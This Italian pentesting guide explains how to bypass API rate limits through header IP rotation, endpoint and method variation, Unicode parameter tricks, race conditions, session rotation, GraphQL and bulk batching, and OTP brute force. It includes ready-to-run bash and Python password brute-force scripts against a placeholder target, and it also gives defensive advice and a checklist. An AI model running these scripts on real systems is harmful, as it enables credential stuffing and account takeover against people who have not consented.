API Rate Limit Bypass: Tecniche di Pentesting per Bypassare il Throttling (2026)

API Rate Limit Bypass spiegato in modo operativo: header rotation con X-Forwarded-For, endpoint switching, HTTP method tampering, Unicode bypass, race condition e GraphQL batching.
- Pubblicato il 2026-03-04
- Tempo di lettura: 9 min
Bypassare il Rate Limit di un’API: la Guida Pratica (con OTP e GraphQL) #
Il rate limit è il meccanismo che blocca un client dopo troppe request in poco tempo — ad esempio 10 tentativi di login ogni 15 minuti. È spesso l’ultima barriera reale: se il login non ha lockout, se un endpoint OTP genera codici a 6 cifre, se un’API espone dati in bulk, è il rate limit a impedire brute force e scraping su scala. Bypassarlo fa cadere tutte queste protezioni insieme — per il quadro completo sugli attacchi API vedi la guida API & Modern Web Attacks.
Quando un rate limit è davvero bypassabile #
Tre segnali che valgono la pena di essere testati per primi:
- Fiducia negli header — il server legge l’IP da un header modificabile dal client (
X-Forwarded-Fore simili) invece che dalla connessione TCP reale. - Limite per endpoint invece che per account — la v2 ha il rate limit, la v1 “deprecata” no. Stesso backend, endpoint diverso, stesso risultato.
- Copertura incompleta — OTP, GraphQL e versioni legacy spesso restano fuori dal rate limit pensato solo per il login principale.
Se uno di questi tre è vero, il rate limit è quasi sempre aggirabile.
Detection — Capire il Rate Limit #
Prima di provare a bypassare qualcosa, va capito come si comporta. Il modo più semplice è mandare tante richieste di fila e vedere dopo quante il server inizia a rispondere con errore invece che processarle normalmente:
for i in $(seq 1 50); do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "https://target.com/api/login" \
-d '{"email":"test@test.com","password":"wrong"}')
echo "Request $i → $code"
done
# → Dopo quante request scatta il 429?
# → Per IP, account, sessione o API key?
# → Retry-After: quanti secondi di cooldown?Header legacy (ancora i più diffusi, usati da GitHub, Stripe e simili):
X-RateLimit-Limit: 100→ max permesseX-RateLimit-Remaining: 0→ rimanentiX-RateLimit-Reset: 1708900000→ timestamp reset (attenzione: spesso epoch, non secondi)
Dal 2026 esiste anche uno standard IETF (draft-ietf-httpapi-ratelimit-headers-11), già adottato da Cloudflare, GitLab e CircleCI, con sintassi diversa e più compatta:
RateLimit-Policy: "default";q=100;w=60RateLimit: "default";r=15;t=40
r = request rimanenti, t = secondi alla fine della finestra, q = quota totale, w = ampiezza finestra in secondi. Utile saperlo leggere: molte API più recenti non espongono più gli header X-RateLimit-* ma solo questi.
Matrice di verifica #
Prima di dichiarare un bypass, testa il contatore su tutte queste chiavi separatamente — un rate limit può reggere su una e cadere su un’altra:
- IP
- Account / user ID
- Sessione / cookie
- API key
- Tenant (se multi-tenant, es. SaaS B2B)
- Device fingerprint / User-Agent
- Endpoint (v1 vs v2, mobile vs web)
- Metodo HTTP (GET vs POST vs PUT)
Un’app che limita per account ma non per API key, ad esempio, è bypassabile generando nuove API key sullo stesso account se il flusso di creazione non è a sua volta limitato.
Bypass 1 — Header IP Rotation #
Molti server, invece di guardare l’indirizzo IP reale della connessione, si fidano di un header HTTP che dichiara “questo è l’IP del client” — pensato per i casi in cui c’è un proxy davanti. Il problema è che quell’header lo scrive chi manda la richiesta, non il proxy: se il server non lo verifica, basta cambiarlo a ogni tentativo e il rate limit, che conta per IP, vede sempre un IP “nuovo”.
X-Forwarded-For: 10.0.0.1
X-Real-IP: 10.0.0.2
True-Client-IP: 10.0.0.3
X-Client-IP: 10.0.0.4
CF-Connecting-IP: 10.0.0.5
Forwarded: for=10.0.0.6
for i in $(seq 1 1000); do
ip="10.0.$((RANDOM % 255)).$((RANDOM % 255))"
curl -s -X POST "https://target.com/api/login" \
-H "X-Forwarded-For: $ip" \
-d "{\"email\":\"admin@target.com\",\"password\":\"$(sed -n "${i}p" passwords.txt)\"}" \
| grep -q "token" && echo "[+] FOUND: line $i"
doneUna variante: a volte il firewall/WAF davanti al server legge il primo valore di un header ripetuto, mentre il server dietro legge l’ultimo. Se mandi lo stesso header due volte con valori diversi, ognuno dei due sistemi “vede” un IP diverso — e puoi sfruttare quel disallineamento:
X-Forwarded-For: REAL_IP
X-Forwarded-For: FAKE_IPBypass 2 — Endpoint Variation #
Il rate limit spesso viene applicato a un percorso URL preciso, non al comportamento dell’API in generale. Se esiste un modo alternativo di raggiungere la stessa funzione — una versione vecchia dell’API ancora attiva, uno slash finale, maiuscole diverse — è possibile che il contatore non lo riconosca come lo stesso endpoint e riparta da zero:
POST /api/login → 429 dopo 10 tentativi
POST /api/v1/login → nessun rate limit?
POST /api/v2/auth/login → rate limit diverso?
POST /api/login/ → trailing slash
POST /api/Login → case diverso
POST /api/./login → dot-segment
POST /mobile/api/login → endpoint mobile
POST /oauth/token → OAuth password grantBypass 3 — HTTP Method Tampering #
Un’API può esporre la stessa funzione con metodi HTTP diversi (POST, GET, PUT…), o accettare un header che dice al server “trattala come se fosse un’altra richiesta”. Se il rate limit è agganciato solo al metodo principale usato normalmente (di solito POST), cambiare metodo o simularne uno diverso può bypassarlo del tutto:
POST /api/login → rate limited
GET /api/login?email=admin&password=test → funziona?
POST /api/login
X-HTTP-Method-Override: PUTBypass 4 — Parameter Manipulation #
Se il sistema conta i tentativi in base al valore esatto di un parametro (tipicamente l’email), basta cambiare quel valore in modo impercettibile — uno spazio, una lettera maiuscola, un carattere Unicode che sembra identico a occhio — perché il server lo tratti come un utente diverso, anche se per l’applicazione corrisponde allo stesso account:
{"email":"admin@target.com ","password":"test"} # spazio finale
{"email":"Admin@target.com","password":"test"} # case
{"email":"admin@target.com\n","password":"test"} # newline
{"email":"ⓐdmin@target.com","password":"test"} # Unicode normalizationL’idea: se il rate limit conta per valore esatto della stringa, ogni variazione è un contatore nuovo.
Bypass 5 — Race Condition #
#!/usr/bin/env python3
import threading, requests
URL = "https://target.com/api/login"
PASSWORDS = open("top100.txt").read().splitlines()
def try_login(pwd):
r = requests.post(URL, json={"email":"admin@target.com","password":pwd}, timeout=5)
if r.status_code == 200 and "token" in r.text:
print(f"[+] FOUND: {pwd}")
threads = [threading.Thread(target=try_login, args=(p,)) for p in PASSWORDS[:100]]
for t in threads: t.start()
for t in threads: t.join()Se il contatore del rate limit viene aggiornato dopo la risposta invece che prima, request parallele arrivano tutte prima che scatti il blocco. Questa tecnica è la base per qualsiasi attacco brute force su scala quando il target ha un rate limit debole.
Bypass 6 — Session Rotation #
Se il rate limit è legato alla sessione (cookie) invece che all’account, aprire una nuova sessione a ogni gruppo di tentativi resetta il contatore. Lo script apre una sessione nuova ogni 5 tentativi, sfruttando il fatto che il contatore riparte da zero per ogni cookie diverso:
for i in $(seq 1 100); do
session=$(curl -sc - "https://target.com/" | grep session | awk '{print $7}')
for j in $(seq 1 5); do
line=$(( (i-1)*5 + j ))
curl -s -X POST "https://target.com/api/login" \
-H "Cookie: session=$session" \
-d "{\"email\":\"admin@co.it\",\"password\":\"$(sed -n "${line}p" passwords.txt)\"}"
done
doneBypass 7 — GraphQL Batching #
GraphQL permette di infilare più operazioni in una singola richiesta HTTP (il cosiddetto “batching”). Se il rate limiter conta le richieste HTTP in arrivo e non guarda dentro il body quante operazioni contiene davvero, una singola chiamata può nascondere decine di tentativi di login:
[
{"query":"mutation{login(email:\"admin@co.it\",password:\"Pass1!\"){token}}"},
{"query":"mutation{login(email:\"admin@co.it\",password:\"Pass2!\"){token}}"},
{"query":"mutation{login(email:\"admin@co.it\",password:\"Pass3!\"){token}}"}
]Una request HTTP, N tentativi: se il rate limit conta le request HTTP e non le operazioni GraphQL al loro interno, il batching lo aggira del tutto. Per il resto delle tecniche di attacco su GraphQL (introspection, injection, IDOR sulle query) vedi GraphQL Exploitation.
Bypass 8 — Window Boundary Timing #
Un fixed window limiter resetta il contatore su un boundary fisso (es. ogni 60 secondi esatti). Se conosci il reset (spesso indicato in X-RateLimit-Reset), spari il massimo consentito appena prima del reset, poi subito un’altra raffica appena dopo: due raffiche intere in pochi secondi, invece di una per finestra.
Risultato: nello spazio di 4 secondi passano due raffiche intere invece di una, senza toccare nessun altro bypass.
Bypass 9 — HTTP/2 vs HTTP/1.1 #
Alcuni rate limiter contano per connessione TCP (tipico di HTTP/1.1, dove ogni request può aprire una connessione nuova) invece che per request logica. Su HTTP/2, dove più request condividono la stessa connessione multiplexata, il conteggio può comportarsi diversamente da quello che il team si aspettava in fase di design. Vale la pena testare lo stesso endpoint forzando il downgrade a HTTP/1.1 (curl --http1.1) e confrontare il comportamento del rate limit rispetto a una richiesta HTTP/2 nativa.
Bypass 10 — OTP e Codici di Verifica #
Un OTP a 6 cifre ha 1.000.000 di combinazioni possibili: molto meno di una password. Il rate limit qui deve essere più stretto, ma spesso viene dimenticato perché è su un endpoint separato dal login:
POST /api/verify-otp
{"user_id":123,"code":"000000"}
POST /api/v1/verify-otp → nessun limite?
POST /api/2fa/verify → limite diverso da /verify-otp?Combinato con race condition o GraphQL batching, un endpoint OTP senza rate limit dedicato per account (e non solo per IP) è brute-forzabile in pochi minuti — approfondimento sulle altre tecniche di bypass del secondo fattore in 2FA Bypass.
Durante i test, per non usare il proprio numero reale nei flussi di verifica SMS si usano numeri temporanei o VoIP — ad esempio quelli di Get SMS Online, che spiegano come ricevere un SMS di verifica OTP su un numero temporaneo.
Bypass 11 — Bulk/Batch Endpoint #
Alcune API espongono un endpoint helper tipo /v2/batch che accetta un array di operazioni in un solo body. Se il rate limiter è piazzato solo davanti agli endpoint “normali” (quelli legacy, uno per operazione), incapsulare più tentativi dentro una singola chiamata bulk lo aggira del tutto — stesso principio del GraphQL batching, ma su REST:
POST /v2/batch
[
{"path": "/login", "method": "POST", "body": {"user":"bob","pass":"123"}},
{"path": "/login", "method": "POST", "body": {"user":"bob","pass":"456"}},
{"path": "/login", "method": "POST", "body": {"user":"bob","pass":"789"}}
]Vale la pena cercare sempre se esiste un endpoint bulk equivalente a quello sotto test: spesso sfugge all’audit di sicurezza proprio perché “nuovo” e poco documentato.
Bypass 12 — Contatore Locale vs Distribuito #
Se il backend gira su più istanze dietro un load balancer, il rate limit può essere implementato in due modi molto diversi:
- Contatore locale — ogni istanza tiene il proprio conteggio in memoria. Un client che finisce dietro istanze diverse (round robin del load balancer) vede il limite reale moltiplicato per il numero di istanze.
- Contatore condiviso (Redis o simile) — tutte le istanze leggono/scrivono lo stesso contatore. Più robusto, ma introduce un’altra finestra di attacco: race condition sull’incremento non atomico (
GETpoiSETinvece diINCRatomico) permette a due request quasi simultanee di passare entrambe anche se il limite è già a un passo dall’esaurimento.
Non c’è modo diretto di vedere quale dei due sia in uso da fuori, ma un segnale indiretto c’è: se il rate limit sembra “morbido” — a volte scatta prima, a volte dopo, con margine variabile — è probabile che sia locale per nodo, e il traffico varia in base a quale istanza risponde di volta in volta.
Falsi Positivi #
Non tutto quello che sembra un bypass lo è davvero. Prima di segnarlo come tale, escludi:
- Retry automatici del client/proxy — un timeout che genera un retry silenzioso può sembrare “il rate limit non ha bloccato”, quando in realtà la seconda request non è mai arrivata al backend.
- Cache lato CDN/reverse proxy — se la risposta arriva dalla cache (controlla header tipo
X-Cache: HIToAge), non ha nemmeno toccato il rate limiter a monte. - Blocco silenzioso vs 429 esplicito — alcuni WAF droppano la connessione o rispondono 403 invece di 429. Se il comportamento cambia tra WAF/CDN e backend, il rate limit “aggirato” potrebbe solo essere uno strato diverso (Cloudflare vs applicazione) che non stai osservando.
Nel report, documenta sempre request/response completi, timing tra i tentativi e, se presente, il correlation ID — senza questo, un bypass non è riproducibile e non è dimostrabile.
Output Reale #
Ecco cosa succede in pratica su un endpoint reale: la richiesta normale viene bloccata dal rate limit, ma basta cambiare l’header IP (Bypass 1) o passare alla versione vecchia dell’endpoint (Bypass 2) per tornare a ricevere risposte normali, senza nessun blocco:
$ curl -s "https://target.com/api/login" -d '{"email":"admin@co.it","password":"x"}'
{"error":"Too many requests. Try again in 15 minutes."}
$ curl -s "https://target.com/api/login" \
-H "X-Forwarded-For: 192.168.1.$((RANDOM%255))" \
-d '{"email":"admin@co.it","password":"x"}'
{"error":"Invalid credentials"}
$ curl -s "https://target.com/api/v1/login" -d '{"email":"admin@co.it","password":"x"}'
{"error":"Invalid credentials"} # Nessun 429 anche dopo 1000 request!Workflow Operativo #
- 50 request rapide → quando scatta il 429? Per IP, account o sessione?
X-Forwarded-Forrandom → il 429 scompare?- Endpoint variation → v1, mobile, trailing slash, case diverso?
- Parameter manipulation → spazio, case, Unicode nell’email?
- Race condition → 100 request parallele passano?
- Endpoint OTP/2FA testato separatamente dal login?
- Matrice completa testata → API key, tenant, device fingerprint?
- Escludi falsi positivi → retry automatici, cache CDN, WAF vs backend?
- Bypass confermato → brute force, scraping, OTP bypass.
Caso Studio #
Settore: e-commerce italiano, 200.000 clienti, API REST.
L’endpoint POST /api/auth/login aveva rate limit di 10 tentativi/15 minuti per IP. Nginx passava l’IP client via X-Forwarded-For senza validazione lato backend → header rotation, rate limit mai scattato.
L’endpoint v1 (POST /api/v1/auth/login, “deprecato” ma ancora attivo) non aveva rate limit affatto. Password spray con 3 password su 200.000 email → 47 account compromessi, tra cui 2 store manager con accesso a ordini e pagamenti.
Due bypass distinti sullo stesso backend: header rotation sulla v2, zero limiti sulla v1.
Difendersi: come impostare un rate limit che regge #
- Usa un algoritmo che non abbia il problema del boundary. Fixed Window è il più semplice ma è quello che permette il bypass a cavallo tra due finestre. Sliding Window Counter risolve il problema con costo di memoria O(1) per client ed è l’algoritmo che usa Cloudflare in produzione su scala globale.
- Non fidarti mai degli header lato client.
X-Forwarded-Forva letto solo se arriva da un proxy fidato e configurato esplicitamente (allowlist di IP del load balancer). L’IP reale va preso dalla connessione TCP, non da un header che chiunque può scrivere. - Rate limit per account, non solo per IP. Un attaccante con un pool di IP bypassa qualsiasi limite basato solo sull’indirizzo. Il conteggio va legato all’identità (user ID, email, API key) oltre che all’IP.
- Copri ogni versione e ogni endpoint equivalente, inclusi quelli “deprecati” ma ancora raggiungibili. Se esiste una v1 e una v2, il limite va applicato a entrambe allo stesso modo.
- OTP e 2FA hanno bisogno di limiti più stretti del login. Uno spazio di ricerca di 1.000.000 di combinazioni si esaurisce in fretta senza un tetto basso (es. 3-5 tentativi) e un blocco per account, non solo per IP.
- GraphQL va limitato per operazione, non per request HTTP. Se il batching permette N mutation in una singola chiamata, il rate limit deve contare le operazioni interne, non la request esterna.
- Se hai più istanze dietro un load balancer, usa un contatore condiviso (Redis) con incremento atomico (
INCR, nonGET+SET). Un contatore locale per istanza moltiplica il limite reale per il numero di nodi. - Valida sempre lato server, mai fidandoti di parametri normalizzati solo lato client (case, spazi, Unicode).
FAQ #
Il rate limit basato solo su IP è sufficiente?
No. Se il server fida ciecamente di header come X-Forwarded-For, basta randomizzarlo per bypassarlo. Va sempre affiancato da un limite per account.
Perché un endpoint OTP ha bisogno di un rate limit diverso dal login? Perché lo spazio di ricerca è molto più piccolo (6 cifre = 1 milione di combinazioni). Il limite lì deve essere più aggressivo e legato all’account.
Il GraphQL batching è sempre un problema? Sì, se il server non conta le operazioni aliasate come request separate: un singolo round HTTP può nascondere decine di tentativi.
Checklist #
Detection
- Dopo quante request scatta il 429?
- Basato su IP, account, sessione o API key?
- Cooldown: quanto dura?
Header rotation
- X-Forwarded-For random resetta il limite?
- X-Real-IP, True-Client-IP, CF-Connecting-IP testati?
- Double header testato?
Endpoint
- /api/v1/ senza rate limit?
- Trailing slash, case diverso, endpoint mobile?
Parameter
- Spazio, case, Unicode → nuovo contatore?
Race / Session
- 100+ request simultanee passano?
- Nuova sessione resetta il limite?
- GraphQL batching testato?
- Boundary timing testato (raffica a cavallo del reset)?
- HTTP/1.1 downgrade testato vs HTTP/2?
- Endpoint bulk/batch equivalente cercato?
Matrice
- API key, tenant, device fingerprint testati separatamente?
- Contatore locale o distribuito (comportamento incoerente tra request)?
Falsi positivi
- Retry automatici esclusi?
- Risposta da cache CDN esclusa (X-Cache, Age)?
- Blocco WAF/CDN distinto dal 429 applicativo?
OTP / 2FA
- Endpoint OTP testato separatamente dal login?
- Rate limit per account, non solo per IP?
- Race condition su verify-otp testata?
Approfondimenti: OWASP API4 – Unrestricted Resource Consumption, HackTricks – Rate Limit Bypass.
Contenuto a scopo didattico: le tecniche descritte vanno applicate solo su lab, CTF, HackTheBox o sistemi per cui hai un’autorizzazione esplicita a fare test di sicurezza.








